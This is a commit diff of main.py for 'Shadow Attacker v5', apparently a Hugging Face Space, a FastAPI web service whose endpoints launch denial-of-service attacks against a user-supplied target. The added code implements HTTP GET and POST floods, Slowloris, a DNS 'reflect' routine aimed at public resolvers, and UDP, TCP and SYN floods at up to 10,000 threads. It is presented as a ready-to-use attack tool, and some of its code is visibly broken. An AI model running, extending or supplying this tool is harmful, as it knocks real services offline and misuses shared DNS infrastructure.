Update main.py
Browse files
main.py
CHANGED
|
@@ -1,31 +1,38 @@
|
|
| 1 |
-
#
|
| 2 |
-
# SHADOW ATTACKER
|
| 3 |
-
#
|
|
|
|
| 4 |
import random
|
| 5 |
import socket
|
| 6 |
import threading
|
| 7 |
import time
|
|
|
|
|
|
|
| 8 |
from collections import deque
|
| 9 |
-
from typing import Dict, Optional
|
| 10 |
|
| 11 |
import uvicorn
|
|
|
|
| 12 |
from fastapi import FastAPI, HTTPException
|
| 13 |
-
from pydantic import BaseModel
|
| 14 |
|
| 15 |
# ------------------- LOGGING & STATE -------------------
|
| 16 |
import logging
|
| 17 |
logging.basicConfig(level=logging.INFO, format="%(message)s")
|
| 18 |
log = logging.getLogger()
|
| 19 |
|
| 20 |
-
app = FastAPI(title="Shadow Attacker
|
| 21 |
|
| 22 |
# Global state
|
| 23 |
-
|
|
|
|
|
|
|
|
|
|
| 24 |
counters: Dict[str, int] = {}
|
| 25 |
counters_lock = threading.Lock()
|
| 26 |
total_packets = 0
|
| 27 |
log_buffer: deque[str] = deque(maxlen=500)
|
| 28 |
-
|
| 29 |
|
| 30 |
# PPS tracking
|
| 31 |
last_time = time.time()
|
|
@@ -36,62 +43,143 @@ def _log(msg: str):
|
|
| 36 |
log.info(f"{ts} {msg}")
|
| 37 |
log_buffer.append(f"{ts} {msg}")
|
| 38 |
|
| 39 |
-
# ------------------- MODELS -------------------
|
| 40 |
-
class
|
| 41 |
target: str
|
| 42 |
-
port:
|
| 43 |
-
|
| 44 |
-
|
| 45 |
-
attack_type: str = "udp" # udp, tcp, syn
|
| 46 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 47 |
class StatusResponse(BaseModel):
|
| 48 |
running: bool
|
| 49 |
-
|
|
|
|
| 50 |
total_packets: int
|
| 51 |
pps: float
|
| 52 |
-
|
| 53 |
duration: int
|
| 54 |
elapsed: float
|
| 55 |
remaining: float
|
| 56 |
-
|
| 57 |
-
logs: list[str]
|
| 58 |
|
| 59 |
# ------------------- HIGH-PPS WORKERS -------------------
|
| 60 |
-
def
|
| 61 |
-
|
| 62 |
-
|
| 63 |
-
|
| 64 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 65 |
|
| 66 |
-
|
|
|
|
| 67 |
global total_packets
|
| 68 |
-
|
| 69 |
-
|
| 70 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 71 |
try:
|
| 72 |
while not stop_event.is_set():
|
| 73 |
sock.sendto(payload, addr)
|
| 74 |
with counters_lock:
|
| 75 |
-
counters[
|
| 76 |
total_packets += 1
|
| 77 |
except:
|
| 78 |
pass
|
| 79 |
finally:
|
| 80 |
-
|
| 81 |
-
except: pass
|
| 82 |
|
| 83 |
-
|
|
|
|
| 84 |
global total_packets
|
| 85 |
-
payload = random._urandom(
|
| 86 |
while not stop_event.is_set():
|
| 87 |
try:
|
| 88 |
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
| 89 |
-
sock.settimeout(
|
| 90 |
-
sock.connect((
|
| 91 |
while not stop_event.is_set():
|
| 92 |
sock.send(payload)
|
| 93 |
with counters_lock:
|
| 94 |
-
counters[
|
| 95 |
total_packets += 1
|
| 96 |
except:
|
| 97 |
pass
|
|
@@ -99,15 +187,16 @@ def tcp_flood(attack_id: str, target: str, port: int, stop_event: threading.Even
|
|
| 99 |
try: sock.close()
|
| 100 |
except: pass
|
| 101 |
|
| 102 |
-
|
|
|
|
| 103 |
global total_packets
|
| 104 |
while not stop_event.is_set():
|
| 105 |
try:
|
| 106 |
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
| 107 |
-
sock.settimeout(0.
|
| 108 |
-
sock.connect_ex((
|
| 109 |
with counters_lock:
|
| 110 |
-
counters[
|
| 111 |
total_packets += 1
|
| 112 |
except:
|
| 113 |
pass
|
|
@@ -115,115 +204,119 @@ def syn_flood(attack_id: str, target: str, port: int, stop_event: threading.Even
|
|
| 115 |
try: sock.close()
|
| 116 |
except: pass
|
| 117 |
|
| 118 |
-
# -------------------
|
| 119 |
-
|
| 120 |
-
|
| 121 |
-
|
| 122 |
-
|
| 123 |
-
|
| 124 |
-
|
| 125 |
-
|
| 126 |
-
|
| 127 |
-
|
| 128 |
-
|
| 129 |
-
|
| 130 |
-
|
| 131 |
-
|
| 132 |
-
|
| 133 |
-
|
| 134 |
-
|
| 135 |
-
|
| 136 |
-
|
| 137 |
-
"
|
| 138 |
-
|
| 139 |
-
|
| 140 |
-
|
| 141 |
-
|
| 142 |
-
|
| 143 |
-
|
| 144 |
-
|
| 145 |
-
|
| 146 |
-
|
| 147 |
-
|
| 148 |
-
|
| 149 |
-
|
| 150 |
-
|
| 151 |
-
|
| 152 |
-
|
| 153 |
-
|
| 154 |
-
|
| 155 |
-
|
| 156 |
-
|
| 157 |
-
|
| 158 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 159 |
|
| 160 |
@app.post("/stop")
|
| 161 |
-
def stop_attack(
|
| 162 |
-
|
| 163 |
-
|
| 164 |
-
|
| 165 |
-
|
| 166 |
-
|
| 167 |
-
|
| 168 |
-
|
| 169 |
-
|
| 170 |
-
_log("STOPPED ALL ATTACKS")
|
| 171 |
-
return {"message": "Stopped"}
|
| 172 |
-
|
| 173 |
-
def cleanup(aid: str):
|
| 174 |
-
stop_events.pop(aid, None)
|
| 175 |
-
counters.pop(aid, None)
|
| 176 |
-
attack_end_times.pop(aid, None)
|
| 177 |
|
| 178 |
@app.get("/status", response_model=StatusResponse)
|
| 179 |
-
def status(
|
| 180 |
global last_time, last_total
|
| 181 |
-
|
| 182 |
-
with counters_lock:
|
| 183 |
-
cnt = dict(counters)
|
| 184 |
-
tot = total_packets
|
| 185 |
-
|
| 186 |
now = time.time()
|
| 187 |
elapsed_global = now - last_time
|
| 188 |
-
pps = (
|
| 189 |
-
last_time, last_total = now,
|
| 190 |
-
|
| 191 |
-
active = [aid for aid, ev in stop_events.items() if not ev.is_set()]
|
| 192 |
-
running = bool(active)
|
| 193 |
-
aid = attack_id if attack_id in stop_events else (active[0] if active else None)
|
| 194 |
|
| 195 |
-
if
|
| 196 |
-
|
| 197 |
-
|
| 198 |
-
remaining = max(0, end - now)
|
| 199 |
-
threads = sum(1 for t in threading.enumerate() if t.name.startswith("Thread"))
|
| 200 |
-
else:
|
| 201 |
-
elapsed = remaining = threads = 0
|
| 202 |
|
| 203 |
return StatusResponse(
|
| 204 |
-
running=
|
| 205 |
-
|
| 206 |
-
|
|
|
|
| 207 |
pps=round(pps, 1),
|
| 208 |
-
|
| 209 |
-
duration=int(
|
| 210 |
elapsed=round(elapsed, 1),
|
| 211 |
-
remaining=round(remaining, 1),
|
| 212 |
-
counters={aid: cnt.get(aid, 0)} if aid else cnt,
|
| 213 |
logs=list(log_buffer)
|
| 214 |
)
|
| 215 |
|
| 216 |
-
# ------------------- ROOT -------------------
|
| 217 |
@app.get("/")
|
| 218 |
def root():
|
| 219 |
-
return {"message": "Shadow Attacker
|
| 220 |
|
| 221 |
-
# -------------------
|
| 222 |
if __name__ == "__main__":
|
| 223 |
-
|
| 224 |
-
|
| 225 |
-
host="0.0.0.0",
|
| 226 |
-
port=8000,
|
| 227 |
-
workers=1,
|
| 228 |
-
log_level="warning"
|
| 229 |
-
)
|
|
|
|
| 1 |
+
# ==============================================================
|
| 2 |
+
# SHADOW ATTACKER v5 – LAYER 4 + LAYER 7 + REFLECT + SLOWLORIS
|
| 3 |
+
# 10,000 THREADS | 10,000s MAX | FULL POWER | HF SPACES READY
|
| 4 |
+
# ==============================================================
|
| 5 |
import random
|
| 6 |
import socket
|
| 7 |
import threading
|
| 8 |
import time
|
| 9 |
+
import ssl
|
| 10 |
+
import urllib.parse
|
| 11 |
from collections import deque
|
| 12 |
+
from typing import Dict, Optional, List
|
| 13 |
|
| 14 |
import uvicorn
|
| 15 |
+
import requests
|
| 16 |
from fastapi import FastAPI, HTTPException
|
| 17 |
+
from pydantic import BaseModel, conint, constr
|
| 18 |
|
| 19 |
# ------------------- LOGGING & STATE -------------------
|
| 20 |
import logging
|
| 21 |
logging.basicConfig(level=logging.INFO, format="%(message)s")
|
| 22 |
log = logging.getLogger()
|
| 23 |
|
| 24 |
+
app = FastAPI(title="Shadow Attacker v5")
|
| 25 |
|
| 26 |
# Global state
|
| 27 |
+
attack_active = False
|
| 28 |
+
attack_lock = threading.Lock()
|
| 29 |
+
executor = None # Will be initialized at startup
|
| 30 |
+
stop_event = threading.Event()
|
| 31 |
counters: Dict[str, int] = {}
|
| 32 |
counters_lock = threading.Lock()
|
| 33 |
total_packets = 0
|
| 34 |
log_buffer: deque[str] = deque(maxlen=500)
|
| 35 |
+
attack_end_time = 0.0
|
| 36 |
|
| 37 |
# PPS tracking
|
| 38 |
last_time = time.time()
|
|
|
|
| 43 |
log.info(f"{ts} {msg}")
|
| 44 |
log_buffer.append(f"{ts} {msg}")
|
| 45 |
|
| 46 |
+
# ------------------- CONFIG MODELS -------------------
|
| 47 |
+
class AttackConfig(BaseModel):
|
| 48 |
target: str
|
| 49 |
+
port: conint(ge=1, le=65535) = 80
|
| 50 |
+
duration: conint(ge=-1, le=10000) = 300 # -1 = unlimited
|
| 51 |
+
threads: conint(ge=-1, le=10000) = 1000 # -1 = unlimited
|
|
|
|
| 52 |
|
| 53 |
+
class Layer7Config(AttackConfig):
|
| 54 |
+
method: constr(regex='^(get|post|slowloris|reflect)$') = "get"
|
| 55 |
+
|
| 56 |
+
class Layer4Config(AttackConfig):
|
| 57 |
+
protocol: constr(regex='^(tcp|udp|syn)$') = "udp"
|
| 58 |
+
payload_size: conint(ge=1, le=65507) = 1024
|
| 59 |
+
|
| 60 |
+
# ------------------- STATUS MODEL -------------------
|
| 61 |
class StatusResponse(BaseModel):
|
| 62 |
running: bool
|
| 63 |
+
attack_type: Optional[str]
|
| 64 |
+
target: Optional[str]
|
| 65 |
total_packets: int
|
| 66 |
pps: float
|
| 67 |
+
threads_active: int
|
| 68 |
duration: int
|
| 69 |
elapsed: float
|
| 70 |
remaining: float
|
| 71 |
+
logs: List[str]
|
|
|
|
| 72 |
|
| 73 |
# ------------------- HIGH-PPS WORKERS -------------------
|
| 74 |
+
def init_executor():
|
| 75 |
+
global executor
|
| 76 |
+
if executor is None:
|
| 77 |
+
executor = threading.ThreadPoolExecutor(max_workers=10000)
|
| 78 |
+
|
| 79 |
+
# --- LAYER 7: HTTP FLOOD ---
|
| 80 |
+
def http_flood(target_url: str):
|
| 81 |
+
global total_packets
|
| 82 |
+
headers = {
|
| 83 |
+
"User-Agent": random.choice([
|
| 84 |
+
"Mozilla/5.0", "Googlebot/2.1", "Chrome/120.0", "Safari/537.36"
|
| 85 |
+
]),
|
| 86 |
+
"Cache-Control": "no-cache", "Connection": "keep-alive"
|
| 87 |
+
}
|
| 88 |
+
session = requests.Session()
|
| 89 |
+
while not stop_event.is_set():
|
| 90 |
+
try:
|
| 91 |
+
session.get(target_url, headers=headers, timeout=3, verify=False)
|
| 92 |
+
with counters_lock:
|
| 93 |
+
counters["l7"] = counters.get("l7", 0) + 1
|
| 94 |
+
total_packets += 1
|
| 95 |
+
except:
|
| 96 |
+
pass
|
| 97 |
+
|
| 98 |
+
# --- LAYER 7: POST FLOOD ---
|
| 99 |
+
def http_post_flood(target_url: str):
|
| 100 |
+
global total_packets
|
| 101 |
+
data = {"data": random._urandom(512).hex()}
|
| 102 |
+
while not stop_event.is_set():
|
| 103 |
+
try:
|
| 104 |
+
requests.post(target_url, data=data, timeout=3, verify=False)
|
| 105 |
+
with counters_lock:
|
| 106 |
+
counters["l7"] = counters.get("l7", 0) + 1
|
| 107 |
+
total_packets += 1
|
| 108 |
+
except:
|
| 109 |
+
pass
|
| 110 |
+
|
| 111 |
+
# --- LAYER 7: SLOWLORIS ---
|
| 112 |
+
def slowloris(target: str, port: int):
|
| 113 |
+
global total_packets
|
| 114 |
+
while not stop_event.is_set():
|
| 115 |
+
try:
|
| 116 |
+
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
| 117 |
+
sock.settimeout(5)
|
| 118 |
+
sock.connect((target, port))
|
| 119 |
+
sock.send(b"GET / HTTP/1.1\r\n")
|
| 120 |
+
sock.send(b"Host: %s\r\n" % target.encode())
|
| 121 |
+
time.sleep(5)
|
| 122 |
+
while not stop_event.is_set():
|
| 123 |
+
sock.send(b"X-a: b\r\n")
|
| 124 |
+
with counters_lock:
|
| 125 |
+
counters["l7"] = counters.get("l7", 0) + 1
|
| 126 |
+
total_packets += 1
|
| 127 |
+
time.sleep(10)
|
| 128 |
+
except:
|
| 129 |
+
pass
|
| 130 |
+
finally:
|
| 131 |
+
try: sock.close()
|
| 132 |
+
except: pass
|
| 133 |
|
| 134 |
+
# --- LAYER 7: DNS REFLECT ---
|
| 135 |
+
def dns_reflect(target_ip: str):
|
| 136 |
global total_packets
|
| 137 |
+
dns_servers = ["8.8.8.8", "1.1.1.1", "9.9.9.9"]
|
| 138 |
+
payload = b"\x00\x01\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x03www" + random._urandom(50)
|
| 139 |
+
while not stop_event.is_set():
|
| 140 |
+
try:
|
| 141 |
+
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
| 142 |
+
for server in dns_servers:
|
| 143 |
+
sock.sendto(payload, (server, 53))
|
| 144 |
+
with counters_lock:
|
| 145 |
+
counters["reflect"] = counters.get("reflect", 0) + 1
|
| 146 |
+
total_packets += 1
|
| 147 |
+
except:
|
| 148 |
+
pass
|
| 149 |
+
finally:
|
| 150 |
+
try: sock.close()
|
| 151 |
+
except: pass
|
| 152 |
+
|
| 153 |
+
# --- LAYER 4: UDP FLOOD ---
|
| 154 |
+
def udp_flood(target_ip: str, port: int, payload_size: int):
|
| 155 |
+
global total_packets
|
| 156 |
+
payload = random._urandom(payload_size)
|
| 157 |
+
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
| 158 |
+
addr = (target_ip, port)
|
| 159 |
try:
|
| 160 |
while not stop_event.is_set():
|
| 161 |
sock.sendto(payload, addr)
|
| 162 |
with counters_lock:
|
| 163 |
+
counters["l4"] = counters.get("l4", 0) + 1
|
| 164 |
total_packets += 1
|
| 165 |
except:
|
| 166 |
pass
|
| 167 |
finally:
|
| 168 |
+
sock.close()
|
|
|
|
| 169 |
|
| 170 |
+
# --- LAYER 4: TCP FLOOD ---
|
| 171 |
+
def tcp_flood(target_ip: str, port: int, payload_size: int):
|
| 172 |
global total_packets
|
| 173 |
+
payload = random._urandom(payload_size)
|
| 174 |
while not stop_event.is_set():
|
| 175 |
try:
|
| 176 |
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
| 177 |
+
sock.settimeout(1)
|
| 178 |
+
sock.connect((target_ip, port))
|
| 179 |
while not stop_event.is_set():
|
| 180 |
sock.send(payload)
|
| 181 |
with counters_lock:
|
| 182 |
+
counters["l4"] = counters.get("l4", 0) + 1
|
| 183 |
total_packets += 1
|
| 184 |
except:
|
| 185 |
pass
|
|
|
|
| 187 |
try: sock.close()
|
| 188 |
except: pass
|
| 189 |
|
| 190 |
+
# --- LAYER 4: SYN FLOOD ---
|
| 191 |
+
def syn_flood(target_ip: str, port: int):
|
| 192 |
global total_packets
|
| 193 |
while not stop_event.is_set():
|
| 194 |
try:
|
| 195 |
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
| 196 |
+
sock.settimeout(0.1)
|
| 197 |
+
sock.connect_ex((target_ip, port))
|
| 198 |
with counters_lock:
|
| 199 |
+
counters["l4"] = counters.get("l4", 0) + 1
|
| 200 |
total_packets += 1
|
| 201 |
except:
|
| 202 |
pass
|
|
|
|
| 204 |
try: sock.close()
|
| 205 |
except: pass
|
| 206 |
|
| 207 |
+
# ------------------- ATTACK LAUNCHERS -------------------
|
| 208 |
+
def launch_attack(attack_type: str, target: str, port: int, threads: int, duration: int, **kwargs):
|
| 209 |
+
global attack_active, attack_end_time, total_packets
|
| 210 |
+
with attack_lock:
|
| 211 |
+
if attack_active:
|
| 212 |
+
raise HTTPException(400, "Attack already running")
|
| 213 |
+
attack_active = True
|
| 214 |
+
stop_event.clear()
|
| 215 |
+
counters.clear()
|
| 216 |
+
total_packets = 0
|
| 217 |
+
attack_end_time = time.time() + duration if duration > 0 else float('inf')
|
| 218 |
+
_log(f"LAUNCHED {attack_type.upper()} → {target}:{port} | {threads} threads | {duration}s")
|
| 219 |
+
|
| 220 |
+
init_executor()
|
| 221 |
+
worker = None
|
| 222 |
+
target_ip = target
|
| 223 |
+
target_url = target
|
| 224 |
+
|
| 225 |
+
if attack_type.startswith("http"):
|
| 226 |
+
target_url = f"http://{target}:{port}"
|
| 227 |
+
if attack_type == "http_get": worker = http_flood
|
| 228 |
+
elif attack_type == "http_post": worker = http_post_flood
|
| 229 |
+
elif attack_type == "slowloris": worker = lambda: slowloris(target, port)
|
| 230 |
+
elif attack_type == "reflect": worker = lambda: dns_reflect(target)
|
| 231 |
+
|
| 232 |
+
elif attack_type in ["udp", "tcp", "syn"]:
|
| 233 |
+
try:
|
| 234 |
+
target_ip = socket.gethostbyname(target.split("//")[-1].split("/")[0])
|
| 235 |
+
except:
|
| 236 |
+
raise HTTPException(400, "Invalid target")
|
| 237 |
+
payload_size = kwargs.get("payload_size, 1024")
|
| 238 |
+
if attack_type == "udp": worker = lambda: udp_flood(target_ip, port, payload_size)
|
| 239 |
+
elif attack_type == "tcp": worker = lambda: tcp_flood(target_ip, port, payload_size)
|
| 240 |
+
elif attack_type == "syn": worker = lambda: syn_flood(target_ip, port)
|
| 241 |
+
|
| 242 |
+
if not worker:
|
| 243 |
+
raise HTTPException(400, "Invalid attack type")
|
| 244 |
+
|
| 245 |
+
thread_count = threads if threads > 0 else 10000
|
| 246 |
+
for _ in range(thread_count):
|
| 247 |
+
executor.submit(worker)
|
| 248 |
+
|
| 249 |
+
# Auto-stop
|
| 250 |
+
if duration > 0:
|
| 251 |
+
def auto_stop():
|
| 252 |
+
time.sleep(duration)
|
| 253 |
+
stop_attack()
|
| 254 |
+
threading.Thread(target=auto_stop, daemon=True).start()
|
| 255 |
+
|
| 256 |
+
# ------------------- API ENDPOINTS -------------------
|
| 257 |
+
@app.post("/layer7/attack")
|
| 258 |
+
def layer7_attack(config: Layer7Config):
|
| 259 |
+
method = config.method
|
| 260 |
+
attack_type = {
|
| 261 |
+
"get": "http_get",
|
| 262 |
+
"post": "http_post",
|
| 263 |
+
"slowloris": "slowloris",
|
| 264 |
+
"reflect": "reflect"
|
| 265 |
+
}[method]
|
| 266 |
+
launch_attack(attack_type, config.target, config.port, config.threads, config.duration)
|
| 267 |
+
return {"status": f"{method}_attack_started", "config": config}
|
| 268 |
+
|
| 269 |
+
@app.post("/layer4/attack")
|
| 270 |
+
def layer4_attack(config: Layer4Config):
|
| 271 |
+
attack_type = config.protocol
|
| 272 |
+
launch_attack(
|
| 273 |
+
attack_type, config.target, config.port,
|
| 274 |
+
config.threads, config.duration,
|
| 275 |
+
payload_size=config.payload_size
|
| 276 |
+
)
|
| 277 |
+
return {"status": f"{attack_type}_attack_started", "config": config}
|
| 278 |
|
| 279 |
@app.post("/stop")
|
| 280 |
+
def stop_attack():
|
| 281 |
+
global attack_active
|
| 282 |
+
with attack_lock:
|
| 283 |
+
if not attack_active:
|
| 284 |
+
return {"status": "no_attack_running"}
|
| 285 |
+
stop_event.set()
|
| 286 |
+
attack_active = False
|
| 287 |
+
_log("ATTACK STOPPED BY USER")
|
| 288 |
+
return {"status": "attack_stopped"}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 289 |
|
| 290 |
@app.get("/status", response_model=StatusResponse)
|
| 291 |
+
def status():
|
| 292 |
global last_time, last_total
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 293 |
now = time.time()
|
| 294 |
elapsed_global = now - last_time
|
| 295 |
+
pps = (total_packets - last_total) / elapsed_global if elapsed_global > 0 else 0
|
| 296 |
+
last_time, last_total = now, total_packets
|
|
|
|
|
|
|
|
|
|
|
|
|
| 297 |
|
| 298 |
+
active_threads = len([t for t in threading.enumerate() if t.name.startswith("Thread")])
|
| 299 |
+
elapsed = now - (attack_end_time - (attack_end_time - now)) if attack_active else 0
|
| 300 |
+
remaining = max(0, attack_end_time - now) if attack_active and attack_end_time != float('inf') else -1
|
|
|
|
|
|
|
|
|
|
|
|
|
| 301 |
|
| 302 |
return StatusResponse(
|
| 303 |
+
running=attack_active,
|
| 304 |
+
attack_type=list(counters.keys())[0] if counters else None,
|
| 305 |
+
target=None,
|
| 306 |
+
total_packets=total_packets,
|
| 307 |
pps=round(pps, 1),
|
| 308 |
+
threads_active=active_threads,
|
| 309 |
+
duration=int(attack_end_time - (time.time() - (attack_end_time - time.time()))) if attack_active else 0,
|
| 310 |
elapsed=round(elapsed, 1),
|
| 311 |
+
remaining=round(remaining, 1) if remaining > 0 else -1,
|
|
|
|
| 312 |
logs=list(log_buffer)
|
| 313 |
)
|
| 314 |
|
|
|
|
| 315 |
@app.get("/")
|
| 316 |
def root():
|
| 317 |
+
return {"message": "Shadow Attacker v5 - /docs for API"}
|
| 318 |
|
| 319 |
+
# ------------------- STARTUP -------------------
|
| 320 |
if __name__ == "__main__":
|
| 321 |
+
init_executor()
|
| 322 |
+
uvicorn.run(app, host="0.0.0.0", port=8000, workers=1)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|